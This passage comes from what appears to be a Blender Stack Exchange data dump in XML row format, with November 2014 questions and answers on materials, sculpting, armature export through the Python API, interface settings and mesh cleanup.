Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18604" PostTypeId="2" ParentId="18571" CreationDate="2014-11-07T05:15:39.773" Score="3" Body="&lt;p&gt;As an alternative.  You can also have a look at blend4web which can directly export to an HTML file and since it uses WebGL, no browser plugin is needed.   It can also export to a more programmer oriented format for use with some of their other tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far as I know, it is not yet capable of using BGE logic bricks however b4w is being updated regularly and can already be used to make really nice looking browser games.  There is also a lot of documentation available so getting started should not be too difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blend4web.com/en/&quot; rel=&quot;nofollow&quot;&gt;https://www.blend4web.com/en/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a BA.org thread that is currently being maintained by an employee of blend4web  &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?333214-Blend4Web-a-3D-web-framework-for-Blender-artists&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?333214-Blend4Web-a-3D-web-framework-for-Blender-artists&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-11-07T05:15:39.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18605" PostTypeId="1" CreationDate="2014-11-07T06:25:09.220" Score="0" ViewCount="153" Body="&lt;p&gt;Is there a way to selectively &quot;undo&quot; sculpting deformations in a Multiresolution sculpt? Sort of a &quot;bring back the base shape&quot; brush or similar.&lt;/p&gt;&#xA;" OwnerUserId="3420" LastEditorUserId="2217" LastEditDate="2014-11-07T14:08:56.993" LastActivityDate="2014-11-07T14:08:56.993" Title="Revert parts in a Multiresolution sculpt to their original position?" Tags="&lt;modifiers&gt;&lt;sculpting&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18606" PostTypeId="1" AcceptedAnswerId="18700" CreationDate="2014-11-07T06:48:22.480" Score="2" ViewCount="1886" Body="&lt;p&gt;I'm trying to export bone coordinates using &lt;code&gt;ob.find_armature().data.bones&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a test file that has two connected bones, and set these position values manually in the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bone 1 Coordinates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Head: &lt;code&gt;(1, 1, 1)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tail: &lt;code&gt;(2, 2, 2)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bone 2 Coordinates&lt;/strong&gt; (connected to Bone 1)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Head: &lt;code&gt;(2, 2, 2)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tail: &lt;code&gt;(3, 3, 3)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I go to access the bone data in python, and here's what I get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bone 1 Coordinates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Head: &lt;code&gt;(1, 1, 1)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tail: &lt;code&gt;(2, 2, 2)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I guess these are absolute world coordinates.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bone 2 Coordinates&lt;/strong&gt; (connected to Bone 1)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Head: &lt;code&gt;(0, 0, 0)&lt;/code&gt; These must be relative to the last bone's tail.&lt;/li&gt;&#xA;&lt;li&gt;Tail: &lt;code&gt;(-0.00000, 1.732051, 0.000000)&lt;/code&gt; &lt;strong&gt;What are these?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Proof and test Blend file: &lt;a href=&quot;https://app.box.com/s/olb6hzi3p0z4ejqbtyfk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://app.box.com/s/olb6hzi3p0z4ejqbtyfk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xM4Tc.png&quot; alt=&quot;http://i.stack.imgur.com/xM4Tc.png&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7522" LastEditorUserId="1448" LastEditDate="2014-11-07T07:29:15.037" LastActivityDate="2014-11-10T09:38:15.293" Title="Access Bone Coordinates using Python API" Tags="&lt;python&gt;&lt;export&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18607" PostTypeId="2" ParentId="18591" CreationDate="2014-11-07T08:08:42.680" Score="13" Body="&lt;p&gt;You're right, SSS is what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An SSS shader is pretty much it as far as the base shader goes, but a few textures and some diffuse shading for the scratches won't go amiss: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SjjOI.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SjjOI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure the rind is a separate manifold mesh (i.e has a surface on the side against the cheese). Otherwise, light which should be blocked by the rind will enter the cheese material and get scattered out, giving a rather unconvincing transition without any darkening: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FAZJq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FAZJq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheese material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rspI3.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rspI3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the scattering radius values. These were just guessed at with some eyeballing, so you may want to play with them a bit to get the effect you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The control how far red, green, and blue light can be scattered, with the top value being red and the bottom being blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sharpness and texture blur on the SSS node are both &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-07T08:08:42.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18608" PostTypeId="1" CreationDate="2014-11-07T12:07:58.447" Score="2" ViewCount="605" Body="&lt;p&gt;So there's this &lt;a href=&quot;https://developer.blender.org/T37422&quot; rel=&quot;nofollow&quot;&gt;ticket&lt;/a&gt; from about a year ago and it all seems to have been fixed/improved, meaning there shouldn't be blocking &quot;Delete OK?&quot; popups anymore.&#xA;However for me in 2.72b there still are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where's the missing link? Or did I miss that this needs to be enabled?&lt;/p&gt;&#xA;" OwnerUserId="7756" LastActivityDate="2014-11-07T20:46:24.193" Title="Remove Unnecessary Confirmation Popups -- resolved, but why not effective?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18609" PostTypeId="1" CreationDate="2014-11-07T12:29:04.293" Score="4" ViewCount="512" Body="&lt;p&gt;Say there was a mistake in a script, it didn't compile. In an info area that's bigger then just a small strip, there will be one or more red error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get rid of them with a keypress?&lt;/p&gt;&#xA;" OwnerUserId="7756" LastEditorUserId="12" LastEditDate="2014-11-07T14:02:16.613" LastActivityDate="2014-11-07T14:03:12.027" Title="Is there a way to clear the &quot;info&quot; editor?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18610" PostTypeId="1" CreationDate="2014-11-07T12:59:42.253" Score="0" ViewCount="839" Body="&lt;p&gt;I created a dice using a tutorial. When I export it I see that it has about 10000 faces. My problem is how to join all the faces of the dice, so it only has 6 faces in total, like a cube has. I want to add a function where the dice rolls and gives an outcome, so I am facing a problem to give numbers to the faces. Please suggest a way to combine the faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My dice link is &lt;a href=&quot;http://www.sggame.bugs3.com/dice1.html&quot; rel=&quot;nofollow&quot;&gt;http://www.sggame.bugs3.com/dice1.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7872" LastEditorUserId="7872" LastEditDate="2014-11-07T14:54:25.987" LastActivityDate="2014-11-07T21:19:58.877" Title="How to combine many faces into single face" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18611" PostTypeId="2" ParentId="7792" CreationDate="2014-11-07T13:42:10.537" Score="9" Body="&lt;p&gt;In newer versions of Blender (2.72):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the box&lt;br&gt;&#xA;&lt;code&gt;Properties -&amp;gt; Material -&amp;gt; Options -&amp;gt; Object Color&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the &lt;code&gt;Object Color&lt;/code&gt; (from &lt;code&gt;Properties -&amp;gt; Object -&amp;gt; Display&lt;/code&gt;) is used for faces in the 3D editor. Very nice to keep things organized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to create one material called &quot;Object Color&quot; and then with linking &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; use it for all other objects that you want to organize by color.&lt;/p&gt;&#xA;" OwnerUserId="7756" LastEditorUserId="2217" LastEditDate="2014-11-07T14:15:29.170" LastActivityDate="2014-11-07T14:15:29.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18612" PostTypeId="2" ParentId="18609" CreationDate="2014-11-07T13:46:20.823" Score="8" Body="&lt;p&gt;OK, I discovered the solution, press &lt;kbd&gt;A&lt;/kbd&gt; twice to select all and then &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Delete&lt;/kbd&gt; to get rid of these lines.&lt;/p&gt;&#xA;" OwnerUserId="7756" LastEditorUserId="12" LastEditDate="2014-11-07T14:03:12.027" LastActivityDate="2014-11-07T14:03:12.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18613" PostTypeId="1" AcceptedAnswerId="18624" CreationDate="2014-11-07T14:47:11.517" Score="5" ViewCount="2187" Body="&lt;p&gt;I would like to know how to create a rough looking green emerald in Cycles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look like that, but can be even rougher and doesn't have to be that translucent. &lt;img src=&quot;https://i.stack.imgur.com/eIIdI.jpg&quot; alt=&quot;enter image description here&quot;&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/jQOlS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7685" LastEditorUserId="2217" LastEditDate="2014-11-07T20:10:05.533" LastActivityDate="2014-11-21T23:58:35.980" Title="How to create a rough green emerald material in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18614" PostTypeId="1" AcceptedAnswerId="18618" CreationDate="2014-11-07T16:38:46.367" Score="2" ViewCount="2916" Body="&lt;p&gt;I've been handed some off the shelf meshes to use and I'm finding a number of them have really dirty geometry which is causing an issue with rendering them in (three.js).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screen shot of the geometry mesh can be seen here: &lt;img src=&quot;https://i.imgur.com/Sny67ho.png&quot; alt=&quot;mesh&quot;&gt; actual mesh can be downloaded here &lt;a href=&quot;http://just.dabe.co.uk/dump/three/model/iphone4.obj&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://just.dabe.co.uk/dump/three/model/iphone4.obj&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when using THREE.SmoothShading the bad geometry shows up. Is there a tool that can fix a mesh so the polys are equally spaced etc?&lt;/p&gt;&#xA;" OwnerUserId="7874" LastEditorUserId="241" LastEditDate="2014-11-07T17:06:21.157" LastActivityDate="2014-11-07T23:06:07.320" Title="Is there any way to clean a triangulated mesh?" Tags="&lt;mesh&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ClosedDate="2014-11-07T20:20:29.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="18615" PostTypeId="1" CreationDate="2014-11-07T17:02:10.207" Score="23" ViewCount="9908" Body="&lt;p&gt;I zoomed in / out of one of my UI panels and I can't figure out how to zoom back out/ in to get it normal size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I reset the zoom level of UI panels?&lt;/p&gt;&#xA;" OwnerUserId="7875" LastActivityDate="2015-12-23T18:51:42.560" Title="How do I reset UI panel zoom level?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18616" PostTypeId="2" ParentId="18615" CreationDate="2014-11-07T17:11:18.060" Score="30" Body="&lt;p&gt;Panels and other user interface dialogs can be customized to your personal preference. One example for customization is the horizontal or vertical alignment. Another is zoom factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Panels&quot; rel=&quot;noreferrer&quot;&gt;https://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Panels&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The panel focused by the mouse pointer can be zoom in and out by holding &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; and moving the mouse right and left. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To reset the zoom factor to default, focus the panel with the mouse pointer and press&lt;/strong&gt; &lt;kbd&gt;Home&lt;/kbd&gt;.&lt;br&gt;&#xA;On a MacBook (Pro), use &lt;kbd&gt;fn&lt;/kbd&gt;+&lt;kbd&gt;←&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will reset zoom to the default which is dependent on the DPI settings configured in system preferences:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blender.org/manual/preferences/system.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.blender.org/manual/preferences/system.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7875" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.653" LastActivityDate="2015-06-05T09:49:42.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18617" PostTypeId="1" AcceptedAnswerId="18629" CreationDate="2014-11-07T17:18:24.553" Score="0" ViewCount="56" Body="&lt;p&gt;I am trying to make a simple script but I have a problem,the problem is when I separate some vertex from my mesh and go to object mode the active object is the unselected vertex,so how to make the separated vertex is the active object after separation with python? &lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2014-11-07T21:02:45.507" Title="how to make the separated vertex is the active object after separation with python?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18618" PostTypeId="2" ParentId="18614" CreationDate="2014-11-07T18:18:34.237" Score="0" Body="&lt;p&gt;Not good enough out of the box. What you are asking is basically retopology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't care about number of polygons and good smoothing, you could use remesh (a modifier), but that would preserv the edges and not let you smooth them. See this screenshot using that modifier. Also, note artifacts (encircled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4sSTM.png&quot; alt=&quot;retopology modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use a retopology method (snapping or shrinkwrapping) and build a new mesh on top of the old one. This new mesh should have good enough geometry to be smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a good answer on retopology:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6253/how-to-convert-from-high-poly-to-low-poly/6255#6255&quot;&gt;How to convert from high poly to low poly&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-11-07T18:18:34.237" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18620" PostTypeId="2" ParentId="18323" CreationDate="2014-11-07T18:33:22.653" Score="-1" Body="&lt;p&gt;See rigify for extensive examples of this. It uses an elaborate &quot;Stretch To&quot; constraint system. You can use this constraint on your IK bone to achieve what you want.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2014-11-07T18:33:22.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18621" PostTypeId="1" AcceptedAnswerId="18628" CreationDate="2014-11-07T18:33:59.827" Score="2" ViewCount="835" Body="&lt;p&gt;I'm writing an exporter, and I want to transform an armature to Y-Up coordinates without actually saving it back to the blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, here's my transformation matrix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;conversionMatrix = axis_conversion(from_forward='Y', from_up='Z', to_forward='Z', to_up='Y').to_4x4()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the armature, copy it, and transform it for exporting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;armature = ob.find_armature().copy()&#xA;armature.data.transform(conversionMatrix)&#xA;# Export...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the actual armature in blender is transformed, 90 degrees, which would ruin the model if I were to save the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the armature isn't actually copied. Is there something wrong with what I'm doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.72b&lt;/p&gt;&#xA;" OwnerUserId="7522" LastEditorUserId="7522" LastEditDate="2014-11-07T20:45:53.007" LastActivityDate="2014-11-07T21:00:55.740" Title="Copying Armature through Python API" Tags="&lt;python&gt;&lt;export&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18622" PostTypeId="2" ParentId="18614" CreationDate="2014-11-07T19:16:47.410" Score="2" Body="&lt;p&gt;I wouldn't recommend retopo for a relatively simple mesh, just create it from scratch scale a cube and add a bevel modifier (apply it when your're happy with the result):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PmJvu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than add two loop cuts like in the next image this will help to avoid crazy meshes when using &lt;em&gt;Knife project&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/63kHp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-11-07T23:06:07.320" LastActivityDate="2014-11-07T23:06:07.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18623" PostTypeId="1" AcceptedAnswerId="19506" CreationDate="2014-11-07T20:02:49.737" Score="1" ViewCount="1022" Body="&lt;p&gt;I am working on an &lt;a href=&quot;https://drive.google.com/folderview?id=0B35OsPAJ46kvaHBYUWpNUDJ0S1k&amp;amp;usp=sharing&quot; rel=&quot;nofollow&quot;&gt;addon&lt;/a&gt; and when I test installing it it works just fine, but when I reopen the Blender I get a message saying &lt;code&gt;&quot;JARCH_materials&quot; module not found&lt;/code&gt;, even though it is in the same folder. Also why is it when I install it I don't get a remove button on the addon?&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-12-03T22:01:22.517" Title="Import error: module not found" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18624" PostTypeId="2" ParentId="18613" CreationDate="2014-11-07T20:04:35.133" Score="6" Body="&lt;p&gt;Maybe this will help get you started.  You will still have a lot of work to do in order to refine the materials and lighting to get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hVTAF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the Fracture Modifier branch which was used to break up a model. &lt;a href=&quot;https://www.dropbox.com/sh/xiuirkoo0rac5tw/AAB2XQbs9K5uTIYcbDPUDW1Ca&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/sh/xiuirkoo0rac5tw/AAB2XQbs9K5uTIYcbDPUDW1Ca&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wFeMO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-21T23:58:35.980" LastActivityDate="2014-11-21T23:58:35.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18625" PostTypeId="2" ParentId="18608" CreationDate="2014-11-07T20:11:53.127" Score="2" Body="&lt;p&gt;They were removed, but then some were added back later.&#xA;Some are still removed, such as copy and paste for objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it seems the confirmation popups for delete and save &lt;a href=&quot;https://developer.blender.org/rBb2fdc591c36cf5125eaa528b7f735c3c4393d390&quot; rel=&quot;nofollow&quot;&gt;have been re-added&lt;/a&gt; after &lt;a href=&quot;https://developer.blender.org/T37801&quot; rel=&quot;nofollow&quot;&gt;a bug report&lt;/a&gt;, and for good reason IMO. I hit those keys accidentally rather often, and I try to avoid reflexively undoing as much as possible due to various limitations (not to mention speed).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-11-07T20:46:24.193" LastActivityDate="2014-11-07T20:46:24.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18627" PostTypeId="2" ParentId="18594" CreationDate="2014-11-07T20:52:20.493" Score="1" Body="&lt;p&gt;Figured it out!&#xA;I was exporting from blender to a wavefront obj file and then using fbx-conv to convert to a G3DJ one: this gave one node with 1 children with 3 parts.&#xA;Now when I export to an fbx file and convert to G3DJ using fbx-conv I get 3 nodes as required.&lt;/p&gt;&#xA;" OwnerUserId="7866" LastActivityDate="2014-11-07T20:52:20.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18628" PostTypeId="2" ParentId="18621" CreationDate="2014-11-07T21:00:55.740" Score="3" Body="&lt;p&gt;You copied the armature OBJECT, not the armature data.  The copied object referred to the same datablock (armature.data).  If you look at the properties panel in the armature tab (as opposed to the object or materials tab) you will see a [2] next to the name of the armature datablock&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ao = ob.find_armature()&#xA;a2 = ao.data.copy()&#xA;a2.transform(conversionMatrix)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This copies the armature datablock instead of the object datablock.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-07T21:00:55.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18629" PostTypeId="2" ParentId="18617" CreationDate="2014-11-07T21:02:45.507" Score="1" Body="&lt;p&gt;Maybe this will lead you to the solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;so = bpy.context.scene.objects&#xA;so.active = o2&#xA;for obj in so:&#xA;    obj.select = (obj==o2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-07T21:02:45.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18630" PostTypeId="2" ParentId="18610" CreationDate="2014-11-07T21:10:30.303" Score="1" Body="&lt;p&gt;If you want to use only 6 faces, then any detail on the faces will have to be represented using textures.  Fortunately, textures can be used to create several kinds of detail and I can think of the following off the top of my head being easy to do in webgl:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;color&lt;/li&gt;&#xA;&lt;li&gt;specular parameters (although you might have to use glsl)&lt;/li&gt;&#xA;&lt;li&gt;normal (affects specular and other kinds of lighting)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Blender also supports&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;displacement&lt;/li&gt;&#xA;&lt;li&gt;mirror parameters&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You probably want to research how to BAKE a texture from your high-res model into something usable in a 6-quad model.  A quick google search comes up with &#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=Tj-S5QAac3U&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=Tj-S5QAac3U&lt;/a&gt; about textures (which probably isn't useful in your case) and &lt;a href=&quot;http://www.katsbits.com/tutorials/blender/baking-normal-maps-from-models.php&quot; rel=&quot;nofollow&quot;&gt;http://www.katsbits.com/tutorials/blender/baking-normal-maps-from-models.php&lt;/a&gt; which is for an ancient version of blender, but actually talks about baking from high-poly to low-poly.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-11-07T21:19:58.877" LastActivityDate="2014-11-07T21:19:58.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18632" PostTypeId="1" CreationDate="2014-11-07T22:40:33.173" Score="0" ViewCount="81" Body="&lt;p&gt;I'm trying to make an animation of fire, but while it's rendering it just looks like a big gray box where the fire is supposed to be. Is this normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vtzTK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7870" LastActivityDate="2014-11-07T22:40:33.173" Title="Is my fire animation rendering right?" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18633" PostTypeId="2" ParentId="11058" CreationDate="2014-11-07T22:52:35.887" Score="2" Body="&lt;p&gt;This... is really terrible. I can foresee that until you have trained yourself to be aware of this problem, it would be very easy to inadvertently destroy all your work: accidentally enter object mode, hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to revert your mesh to its original state, then change something in the scene which destroys the redo history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not that that just happened to me...&lt;/p&gt;&#xA;" OwnerUserId="7877" LastActivityDate="2014-11-07T22:52:35.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18634" PostTypeId="2" ParentId="18543" CreationDate="2014-11-07T23:22:16.347" Score="8" Body="&lt;p&gt;The font is &lt;code&gt;bfont.pfb&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a built-in font which means it  is compiled into blender. The font file is available from the blender source tree in &lt;code&gt;release/datafiles&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access and download the file, e.g., from the GIT repository at blender.org:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://git.blender.org/gitweb/gitweb.cgi/blender.git/tree/HEAD:/release/datafiles&quot; rel=&quot;noreferrer&quot;&gt;http://git.blender.org/gitweb/gitweb.cgi/blender.git/tree/HEAD:/release/datafiles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the directory listing, search for the file &lt;code&gt;bfont.pfb&lt;/code&gt; and click in the rightmost column on &quot;raw&quot; to download and save the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or try this direct link:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://git.blender.org/gitweb/gitweb.cgi/blender.git/blob_plain/HEAD:/release/datafiles/bfont.pfb&quot; rel=&quot;noreferrer&quot;&gt;http://git.blender.org/gitweb/gitweb.cgi/blender.git/blob_plain/HEAD:/release/datafiles/bfont.pfb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7875" LastActivityDate="2014-11-07T23:22:16.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
